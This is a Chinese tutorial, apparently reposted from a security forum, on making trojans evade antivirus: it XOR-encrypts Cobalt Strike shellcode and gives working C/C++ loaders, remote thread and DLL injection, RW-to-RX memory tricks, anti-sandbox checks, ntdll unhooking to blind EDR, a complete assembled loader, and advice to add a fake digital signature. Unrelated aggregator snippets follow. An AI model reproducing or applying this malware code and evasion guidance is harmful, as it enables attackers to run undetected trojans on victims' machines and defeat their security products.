【渗透实战】木马免杀

news2024/11/25 0:41:50

先看效果(文中附源码)

思路

1.shellcode自身免杀

首先cs生成一个bin文件


再没有二开的情况下落地就会死

那么如何处理呢?

可以通过对shellcode进行加密和编码的方式,然后在内存中进行解密执行

这里介绍几种主流的编码和加密方式

编码方式: base64 sgn编码

加密方式: XOR RC4强加密 UUID

在国内的对抗环境下xor加密就足够了 ,RC4的强加密会使得文件的商值过高导致报读

这里就介绍一种010 Editor 进行 xor 加密

我们在010 Editor 中打开该bin文件然后选择 XOR加密

然后设置xor 的key

最后保存即可,此时的bin文件是经过了XOR加密 ,密钥为 0x39

同时推荐几种加密方式:

1.xor 双加密

2.xor加密 + sgn编码

3.xor 加密 +base64编码

4.uuid+base64编码

各位可以自行搭配

2.shellcode的加载方式

shellcode的加载方式有很多种,这里以C/C++作为示范

1、指针执行
#include <Windows.h>
#include <stdio.h>

unsigned char shellcodeloader[] ="shellcode";

int main()
{
    ((void(*)(void)) & shellcodeloader)();
}
2.申请内存执行
#include <Windows.h>
#include <stdio.h>

int main()
{
    char shellcode[] = "shellcode";
    void* run = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //使用 VirtualAlloc申请一块可读可写可执行的内存(PAGE_EXECUTE_READWRITE)
    memcpy(run, shellcode, sizeof shellcode);
    //使用memcopy将shellcode拷贝到刚刚申请的内存中
    ((void(*)())run)();
}
3.资源加载shellcode

这也是我木马免杀的执行方式

先补充一些前置知识需要学习3个函数

1、FindResource:该函数确定指定模块中指定类型和名称的资源所在位置。

HRSRC FindResource(
  [in, optional] HMODULE hModule,
  [in]           LPCSTR  lpName,
  [in]           LPCSTR  lpType
);
  • hModule:处理包含资源的可执行文件的模块。NULL值则指定模块句柄指向操作系统通常情况下创建最近过程的相关位图文件。
  • lpName:指定资源名称。若想了解更多的信息,请参见注意部分。
  • lpType:指定资源类
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_CALC_BIN1), L"calc_bin");
  • MAKEINTRESOURCE将一个整数值转换为一种资源类型

2、SizeofResource:表示该函数返回指定资源的字节数大小。

DWORD SizeofResource(
  [in, optional] HMODULE hModule,
  [in]           HRSRC   hResInfo
);
  • hModule:包合资源的可执行文件模块的句柄。
  • hReslnfo:资源句柄。此句柄必须由函数FindResource或FindResourceEx来创建。
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);

3、LoadResource:装载指定资源到全局存储器

HGLOBAL LoadResource(
  [in, optional] HMODULE hModule,
  [in]           HRSRC   hResInfo
);
  • hModule:处理包合资源的可执行文件的模块句柄。若hModule为NULL,系统从当前过程中的模块中装载资源。
  • hReslnfo:将被装载资源的句柄。它必须由函数FindResource [1] 或FindResourceEx创建。
HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);

下面是完整的源码

DWORD oldProtect;
BOOL pt;
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), L"PAYLOAD_BIN");
//找到shellcode资源,获取它的资源句柄
//它的名称为IDR_PAYLOAD_BIN1,类型为PAYLOAD_BIN
HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource);
//读取其中的数据
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
//读取数据⻓度,开辟内存空间读⼊,获得该空间指针
4.无API加载shellcode

我们希望我们的shellcode被分配在可执行文件的.text部分中,这样就不需要分配RWX内存块来存储shellcode。此外,
我们需要将shellcode数组强制转换为函数指针并调用它-

#pragma section(".text")

__declspec(allocate(".text")) char goodcode[] = {  };

int main()
{
    //(*(void(*)())(&goodcode))();
    ((void(*)())(&goodcode))();
}

利用

设置data段可写 执行shellcode

#include <Windows.h>

#pragma comment(linker, "/section:.data,RWE")//设置data段可写,就这么短短一行代码
unsigned char shellcode[] = {  };
//全局变量会保存在.data中,

int main()

{
    ((void(*)())(void*)shellcode)();//执行shellcode
}
5.远程线程注入

*火绒对于线程注入的操作并不敏感,但是某数字杀软晶核的环境下除了高信誉的白名单以外不要尝试进程或者线程注入

我们也可以通过CreateToolhelp32Snapshot去获取系统中正在运行的进程信息,线程信息然后进行判断,如果是火绒的环境就进行注入,如果是某数字杀软的环境就指针执行或者是注入自身(某数字杀软任何注入自身没有威胁)

我们先学习一下前置知识:

使用远程线程注入,我们需要使用4个主要函数:OpenProcess, VirtualAllocEx, WriteProcessMemory,CreateRemoteThread

思路:

  1. 打开远程进程的句柄(pid)(OpenProcess)
  2. 使用VirtualAllocEx在远程进程中分配具有读、写和执行必要权限的内存空间
  3. 然后使用WriteProcessMemory将shellcode写入到内存缓冲区中
  4. 最后通过调用CreateRemoteThread来创建远程线程

主要是了解一下每一个windowsAPI的功能和传入的参数

1、OpenProcess

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
  • dwDesiredAccess:一个或多个进程访问权限
  • bInheritHandle:是否继承句柄
  • dwProcessId:进程的标识符
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

2、VirtualAllocEx

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
  • hProcess:进程的句柄。该函数在该进程的虚拟地址空间内分配内存,句柄必须具有PROCESS_VM_OPERATION访问权限
  • lpAddress:保留页面的内存地址;一般用NULL自动分配
  • dwSize:要分配的内存区域的大小,以字节为单位
  • flAllocationType:内存分配的类型
  • flProtect:该内存的初始保护属性
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE)

3、WriteProcessMemory

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
  • hProcess:要修改的进程内存的句柄。句柄必须拥有对进程的PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问权限
  • lpBaseAddress:要写的内存首地址
  • lpBuffer:指向要写的数据的指针
  • nSize:要写入的字节数
  • lpNumberOfBytesWritten:指向一个变量的指针,该变量接收传输到指定进程的字节数。该参数是可选的。如果lpNumberOfBytesWritten存在,则忽略该参数。
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);

4、CreateRemoteThread

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
  • hProcess:将在其中创建线程的进程的句柄
  • lpThreadAttributes:一个指向 SECURITY_ATTRIBUTES 结构的指针, 该结构指定了线程的安全属性.
  • dwStackSize:线程栈初始大小,以字节为单位,如果该值设为0,那么使用系统默认大小.
  • lpStartAddress:在远程进程的地址空间中,该线程的线程函数的起始地址.
  • lpParameter:指向要传递给线程函数的变量的指针。
  • dwCreationFlags:线程的创建标志.
  • lpThreadId:指向所创建线程ID的指针,如果该参数为空,则不返回线程标识符
remoteThread = CreateRemoteThread(processHandle, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);

接下来是完整的代码

#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[])
{
    unsigned char shellcode[] = {};

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;

    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
  //打开进程
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode,
  (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
  //申请内存
    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
  //写入内存
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, 
  (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
  //创建远程线程
    CloseHandle(processHandle);
    return 0;
}

看到这里相信各位也想到了一个问题,如果我想要远程注入notepad,如何获取到他的PID呢?

那就得使用到我们之前所说的CreateToolhelp32Snapshot

我们接着学习三个windowsAPI

1、CreateToolhelp32Snapshot:可以获取系统中正在运行的进程信息,线程信息

HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);
  • dwFlags:用来指定“快照”中需要返回的对象,可以是TH32CS_SNAPPROCESS等
  • th32ProcessID:一个进程ID号,用来指定要获取哪一个进程的快照,当获取系统进程列表或获取 当前进程快照时可以设为0
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//创建一个系统快照

2、Process32First:获得第一个进程的句柄

BOOL Process32First(
[in]      HANDLE           hSnapshot,
[in, out] LPPROCESSENTRY32 lppe
);

3、Process32Next:获得下一个进程的句柄

BOOL Process32Next(
[in]  HANDLE           hSnapshot,
[out] LPPROCESSENTRY32 lppe
);

完整代码:

DWORD FindTargetPID(LPCTSTR lpszProcess)//参数lpszProcess指明想要获取的目标进程的名字
{
    DWORD dwRet = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    //创建一个系统快照
    PROCESSENTRY32 pe32;
    //这里定义了一个PROCESSENTRY32结构,它用来保存进程信息
    pe32.dwSize = sizeof(PROCESSENTRY32);//结构大小
    Process32First(hSnapshot, &pe32);
    //获取系统快照中的第一个系统进程
    do
    {
        if (lstrcmpi(pe32.szExeFile, lpszProcess) == 0)
        //lstrcmpi函数用获取的进程名与指定的进程名进行比较
        {
            dwRet = pe32.th32ProcessID;
            //获取进程ID
            break;
        }
    } while (Process32Next(hSnapshot, &pe32));
    //循环
    CloseHandle(hSnapshot);
    //关闭系统快照
    return dwRet;
    //返回进程ID
}

6.需要用到LoadLibraryA

经典DLL注入到远程进程中,根据上面远程进程注入的知识,写出简单的demo

我们利用cs生成的dll文件上传到目标电脑上然后编译对应的exe,也就是说双文件落地的形式

即: cs上线的dll文件 dllinject.exe

#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
    HANDLE processHandle;
    PVOID remoteBuffer;
    wchar_t dllPath[] = TEXT("C:\\Users\\ning\\Desktop\\DLLinject\\cs.dll");
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath,
  MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
    PTHREAD_START_ROUTINE threatStartRoutineAddress = 
  (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
    CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, 
  remoteBuffer, 0, NULL);
    CloseHandle(processHandle);
    return 0;
}

那么我们不妨发散思维,我们可以远端加载dll文件进行注入,在目标上只留下dllinject.exe,同时在完成上线后

我们将远端的dll文件删除,这样云沙箱是不是就无法加载了?

6.RW+RX的内存

AV/EDR喜欢扫描具有RWX属性的内存区域,尤其是国外著名的卡巴斯基,其内存扫描的本质就是扫描内存中的RWX权限,所以我们使用RW+RX来规避

步骤:

1.VirtualAlloc申请可读可写的内存属性 RW

2.memcopy将shellcode拷贝到内存

3.VirtualProtect改变内存属性为RX

4.指针执行

那么下面我们来学习一下VirtualProtect

VirtualProtect:可以用来改变内存属性

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);
  • lpAddress:指向要变更保护属性的地址起始位置
  • dwSize:要更改其访问保护属性的区域的大小
  • flNewProtect:更改的内存属性
  • lpflOldProtect:内存原始属性保存地址

代码如下:

#include <Windows.h>

int main() {
    int shellcode_size = 0; // shellcode长度
    BOOL pt;
    DWORD oldProtect;
    unsigned char buf[] = {  };
    shellcode_size = sizeof(buf);
    LPVOID shellcode;
    shellcode = VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, 0x04);
    CopyMemory(shellcode, buf, shellcode_size);
    pt = VirtualProtect(shellcode, shellcode_size, 0x20, &oldProtect);
    ((void(*)())shellcode)();
}

由于篇幅有限,APC注入等涉及到windows异常处理机制,这里暂不介绍,有兴趣可以自行了解

3.反沙箱

反沙箱是木马免杀中极为重要的一环

为什么这么说呢?

所有的杀软本地都会有一个内置的沙箱,当我们想要运行一个陌生的exe时,都会在沙箱中模拟运行,所有木马能否上线的关键点在于反沙箱

那么沙箱查杀的是什么呢?

1.静态查杀

如何处理?

做好 源代码的混淆 资源文件 动态解析API

2.动态查杀

当你的exe在运行是修改注册表实现自启动或者是释放某些文件亦或是添加用户 ,此时沙箱会检测此类操作,

然后报读

我们要写反沙箱首先要了解沙箱的特性是什么:

沙箱不是真实的环境,而是被虚拟话出来的

1.常规的反沙箱

我们可以通过延迟执行、开机时间、物理内存、CPU核心数,文件名、磁盘大小、500M内存0填充、用户名、进程名去判断是否是在沙箱的环境中,如果是在沙箱的环境,那就退出

2.钓鱼的如何写反沙箱

或者是检测当前环境是否有微信、钉钉、或者鼠标是否移动来判断

接下来给出我常用的反沙箱代码:

1.检测当前操作系统是否超过十分钟,如果没超过就退出

int a(){
    check();
    ULONG uptime = GetTickCount();
    if (uptime >= 10 * 60 * 1000) {
        //MessageBox(NULL, L"程序异常!", L"异常,请稍后", MB_OK | MB_ICONERROR);
    }
    else {
        exit(1);
}

2.检测当前环境的进程有没有超过60个,如果没有就退出

因为沙箱的进程一般都少于40个,正常电脑的进程应该很多

void BypassSimulation()
{

    HANDLE snapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (INVALID_HANDLE_VALUE == snapShot)
    {
        return;
    }
    PROCESSENTRY32 pe = { sizeof(pe) };

    int num = 0;
    for (BOOL ret = Process32First(snapShot, &pe); ret; ret = Process32Next(snapShot, &pe))
    {
        num++;
    }
    if (num <= 60)
    {
        exit(1);
    }

}

3.检测发行版本是否为中文

int check() {

    LANGID langId = GetUserDefaultUILanguage();
    if (PRIMARYLANGID(langId) == LANG_CHINESE)
    {
        printf("Chinese");
        RunCode();
    }
    else
    {
        printf("Error");
        exit(1);
    }
    return 0;

}

4.检测是否在虚拟机中

int check(char* name) {
    const char* list[4] = { "vmtoolsd.exe","vmwaretrat.exe","vmwareuser.exe","vmacthlp.exe" };
    for (int i = 0; i < 4; i++) {
        if (strcmp(name, list[i]) == 0)
            return -1;
    }
    return 0;
}

bool CheckProcess() {
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    BOOL bResult = Process32First(hProcessSnap, &pe32);
    while (bResult) {
        char ss_Name[MAX_PATH] = { 0 };
        WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1, ss_Name, sizeof(ss_Name),
    NULL, NULL);
        //printf("%s\n", ss_Name);
        if (check(ss_Name) == -1)
            return false;
        bResult = Process32Next(hProcessSnap, &pe32);
    }
    return true;
}

bool checkReg() {
    HKEY hkey;
    if (RegOpenKey(HKEY_CLASSES_ROOT, L"\\Applications\\VMwareHostOpen.exe",
  &hkey) == ERROR_SUCCESS) {
        return true;
    }
    else {
        return false;
    }

}

bool checkfile() {
    WIN32_FIND_DATAW findFileData;
    if (FindFirstFileW(L"C:\\Program Files\\VMware\\VMware Tools\\VMToolsHook.dll", 
  &findFileData) == INVALID_HANDLE_VALUE) 
        return false;
}

4.和edr的一些对抗

像x擎或者是某藤云的一些edr产品会对ntdll.dll进行hook挂钩

如何理解?

先介绍一下windowsapi的调用链

我们常用的一些windowsapi函数都存储在kernel32.dll的动态链接库中

比如说我们使用VirtualAlloc函数,那么他是如何被一步步调用的呢

首先是在3环,即用户层的 kernel32.dll中调用kernelVirtualAlloc

然后kernelVirtualAlloc去调取ntdll中的NtVirtualAlloc

最后NtVirtualAlloc通过syscall的方式去内存层实现分配内存

而杀软会对这些dll文件进行hook监控

当我们再调用VirtualAlloc时,edr会修改ntdll中的该函数使其jmp到edr内置的dll中,edr会

通过你的函数调用去查杀

那么重点来了,如何去对抗呢?

1.在shellcodeloader时添加大量垃圾函数或者执行一些东西打乱edr查杀

2.直接通过syscall绕过edr的hook(某数字杀软晶核的环境下依然会被检测到)

3.重新加载一份干净的ntdll文件

这里着重给大家介绍第三种,直接附上源码安心食用即可

int main()
{
    HANDLE process = GetCurrentProcess();
    MODULEINFO mi = {};
    HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
    GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;

    HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll",
  GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, 
  PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + 
  hookedDosHeader->e_lfanew);

    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER hookedSectionHeader = 
    (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) 
    + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
            DWORD oldProtection = 0;
            bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + 
      (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
            memcpy((LPVOID)((DWORD_PTR)ntdllBase + 
      (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      (LPVOID)((DWORD_PTR)ntdllMappingAddress +
      (DWORD_PTR)hookedSectionHeader->VirtualAddress),
      hookedSectionHeader->Misc.VirtualSize);
            isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase 
      + (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
        }
    }
    CloseHandle(process);
    CloseHandle(ntdllFile);
    CloseHandle(ntdllMapping);
    FreeLibrary(ntdllModule);

    return 0;
}

具体实现

该将的都讲了,接下来上源码!

需要注意的是,132行的key设置为文章开头你加密的key

#include <Windows.h>
#include <wincrypt.h>
#include <string.h>
#include <stdlib.h>
#include <winreg.h>
#include <tlhelp32.h>
#include <time.h>
#include "resource.h"
#include <io.h>
#pragma comment(lib, "Crypt32.lib")
#include <psapi.h>
#include <iostream>
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

DWORD UNHOOKntdll() {
    MODULEINFO mi = {};
    HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
    GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
    HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", 
  GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, 
  PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase +
  hookedDosHeader->e_lfanew);
    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++)
    {
        PIMAGE_SECTION_HEADER hookedSectionHeader = 
    (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) 
    + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
            DWORD oldProtection = 0;
            bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase
      + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
      hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
            memcpy((LPVOID)((DWORD_PTR)ntdllBase +
      (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      (LPVOID)((DWORD_PTR)ntdllMappingAddress
      + (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      hookedSectionHeader->Misc.VirtualSize);
            isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase +
      (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
      hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
        }
    }
    CloseHandle(ntdllFile);
    CloseHandle(ntdllMapping);
    FreeLibrary(ntdllModule);
    return 0;
}

void BypassSimulation()
{

    HANDLE snapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (INVALID_HANDLE_VALUE == snapShot)
    {
        return;
    }
    PROCESSENTRY32 pe = { sizeof(pe) };

    int num = 0;
    for (BOOL ret = Process32First(snapShot, &pe);ret; ret = Process32Next(snapShot, &pe))
    {
        num++;
    }
    if (num <= 60)
    {
        exit(1);
    }

}

void RunCode() {}
//检测发行版本
int check() {

    LANGID langId = GetUserDefaultUILanguage();
    if (PRIMARYLANGID(langId) == LANG_CHINESE)
    {
        printf("Chinese");
        RunCode();
    }
    else
    {
        printf("Error");
        exit(1);

    }
    return 0;

}

int main(int argc, char* argv[])
{
    //先绕沙箱
    BypassSimulation();

    check();
    ULONG uptime = GetTickCount();
    if (uptime >= 10 * 60 * 1000) {
        MessageBox(NULL, L"程序异常!", L"异常,请稍后", MB_OK | MB_ICONERROR);
    }
    else {
        exit(1);
    }

    UNHOOKntdll();

    DWORD oldProtect;
    BOOL pt;
    //找到shellcode资源,获取它的资源句柄
    //它的名称为IDR_PAYLOAD_BIN1,类型为PAYLOAD_BIN
    HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), 
  L"PAYLOAD_BIN");
    //读取其中的数据
    HGLOBAL shellcodeResourceData = LoadResource(NULL, shellcodeResource);
    //读取数据⻓度,开辟内存空间读⼊,获得该空间指针
    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
    LPSTR shell = (LPSTR)VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_READWRITE);
    //shellcode数据拷⻉进shell指向的内存空间
    memcpy(shell, shellcodeResourceData, shellcodeSize);
    //此时shellcode已经进⼊内存空间,开始解密执⾏
    //先异或回来
    for (int i = 0; i < shellcodeSize; i++)
    {
        shell[i] ^= 0x39;
    }
    pt = VirtualProtect(shell, shellcodeSize, PAGE_EXECUTE_READ, &oldProtect);
    ((void(*)())shell)();
    return 0;
}

由于我是使用资源文件加载的,我们需要在VS中配置一下

配置为release 的X86

然后修改代码生成为MT模式

点开资源文件然后添加一个资源

讲我们本地的bin文件加载进来重命名为payload.bin

最后重新生成解决方案即可

看下效果

补充一下:在某数字杀软晶核的对抗环境下,由于其非黑即白的特性,需要添加图标详细信息以及打上假的数字签名即可

原文链接:https://forum.butian.net/share/2530

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1206829.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

京东数据运营与分析:如何全面获取电商销售数据?

随着电商行业的快速发展&#xff0c;数据分析成为了电商运营中一个非常重要的环节&#xff0c;这一环往往能够帮助品牌方来提升销售业绩和管理效率。然而&#xff0c;如何获取到电商平台中详细、全面的销售数据是很多电商品牌方所关心的问题&#xff0c;事实上&#xff0c;第三…

跨境国际快递物流API:加速全球贸易的关键

引言 全球贸易的蓬勃发展在今日商业中扮演着至关重要的角色。而随着全球市场的扩大和商业界的日益复杂化&#xff0c;跨境国际快递物流API正成为推动全球贸易加速发展的关键因素。 为何说跨境国际快递物流API是加速全球贸易的关键&#xff1f; 连接全球商业网络 跨境国际快…

外汇天眼:你的交易技术分析,为什么不赚钱?

众所周知&#xff0c;交易圈分为两个派别&#xff0c;一个是基本面分析派&#xff0c;另外一个就是技术分析派。 无论哪个派别都有成功的案例。 今天我们主要来说一下技术分析&#xff0c;市场中&#xff0c;用技术分析来做交易的人有很多&#xff0c;但并不是人人都赚钱&#…

数据结构和算法八股与手撕

数据结构和算法八股文 第一章 数据结构 1.1 常见结构 见http://t.csdnimg.cn/gmc3U 1.2 二叉树重点 1.2.1 各种树的定义 满二叉树&#xff1a;只有度为0的结点和度为2的结点&#xff0c;并且度为0的结点在同一层上 完全二叉树&#xff1a;除了最底层节点可能没填满外&…

Looking for downloadable pre-built shared indexes关闭

这个功能很烦,把他关闭就行了 PyCharm的“Looking for downloadable pre-built shared indexes”是指PyCharm IDE中的一个功能&#xff0c;用于搜索和下载可共享的预构建索引。 这个功能的主要用途是帮助开发人员在开发过程中快速地获取和使用预构建的索引&#xff0c;以提高…

AtCoder ABC152

C - Low Elements 从前往后维护一个最长下降子序列 D - Handstand 2 设f[a][b]代表当前第一个数字为a第二个数字为b的数总个数 递推一下就可以。注意ab的情况。 # -*- coding: utf-8 -*- # time : 2023/6/2 13:30 # file : atcoder.py # software : PyCharmimport bi…

打造全身视角的医院可视化能源监测管理平台,实现医院能源可视化管理

医院是大型公共建筑的一种&#xff0c;随着医院规模的不断扩大&#xff0c;医院能源消耗剧增&#xff0c;能源消耗居高不下。医院对于能源监管的需求也越来越高。医院建立一套能耗监测管理平台&#xff0c;对于降低医院能耗有着非常重要的作用。 医院能耗存在的问题 1、医院能…

如何挑选RPA开发商?

其实&#xff0c;只要在这个行业调查的时间足够&#xff0c;不难发现里面有很多弯弯绕绕。 首先&#xff0c;RPA厂商虽然很多&#xff0c;但是优秀的RPA厂商就那么几家&#xff0c;它们都有各自擅长的领域&#xff0c;像金智维&#xff0c;就是在金融领域、政务领域&#xff1…

释放潜能,加速创新 | 低代码赋能企业数据资产管理(附案例)

在当今数字化快速发展的时代&#xff0c;企业要想保持竞争力&#xff0c;就必须紧跟潮流&#xff0c;不断进行自我革新。其中&#xff0c;数字化转型已成为企业发展的重要一环&#xff0c;在这个过程中&#xff0c;数据资产作为企业核心竞争力的关键组成部分&#xff0c;其管理…

pytorch tensor数据类型转换为python数据

一、item() input: x torch.tensor([1.0]) x.item()output: 1.0二、tolist() input: a torch.randn(2, 2) a.tolist() a[0,0].tolist()output: [[0.012766935862600803, 0.5415473580360413],[-0.08909505605697632, 0.7729271650314331]]0.012766935862600803

Java 通过POI快速导入带图片的excel并且图片不会丢失

## 通过POI快速导入带图片的excel并且图片不会丢失导入带图片的excel,这里也是研究了很久,在之前的博客中也有说明过,在项目使用过程中,发现很多时候导入响应很慢,而且每次导入图片都会丢失几张,所以又花了点时间研究修改了下,具体如下: 这边在导入时,通过自定义注解…

java初学者踩得雷

目录 一段子父类调用重写的代码 1. 重写的代码 2. 执行结果 3. 分析原因 4. 总结概括 一段子父类调用重写的代码 这是一段有坑的代码&#xff0c;我们创建一个子类A和父类B&#xff0c;A中重写function方法&#xff0c;并且在B的构造方法中调用function 1. 重写的代码 …

thinkphp5 原生sql查询及取返回值

刚接触php&#xff0c;以前大量数据库都是直接写sql的&#xff0c;方便&#xff0c;好管理&#xff0c; 用thinkphp后&#xff0c;发现没有sql&#xff0c;对mvc模式还没深入了解&#xff0c;但这边要在上面写一些接口&#xff0c;有涉及数据库查询&#xff0c;修改等&#xf…

【模式识别】计算机科学博士课程作业解析

作业二 2.1 最小风险贝叶斯决策分类计算 1、请给出以下问题的求解步骤&#xff0c;逐步给出计算过程&#xff1a; 已知条件为 P(w_1) 0.9 P(w_2)0.1 p(x|w_1)0.2 p(x|w_w)0.4 λ 11 0 \lambda_{11}0 λ11​0, λ 12 6 \lambda_{12}6 λ12​6 λ 21 1 \lambda_{21}1 …

【postgresql】查看数据中表的信息

切换到postgresql数据库&#xff0c;各种不适应吧。 有个需求需要查询数据表的各种信息。 下面我们一起学习吧。 PostgreSQL: Documentation PostgreSQL: Documentation pg_namespace 存储名字空间。名字空间是 SQL 模式下层的结构&#xff1a;每个名字空间有独立的关系&am…

NTTRU:兼容 NTT 算法的 NTRU-based KEM 方案

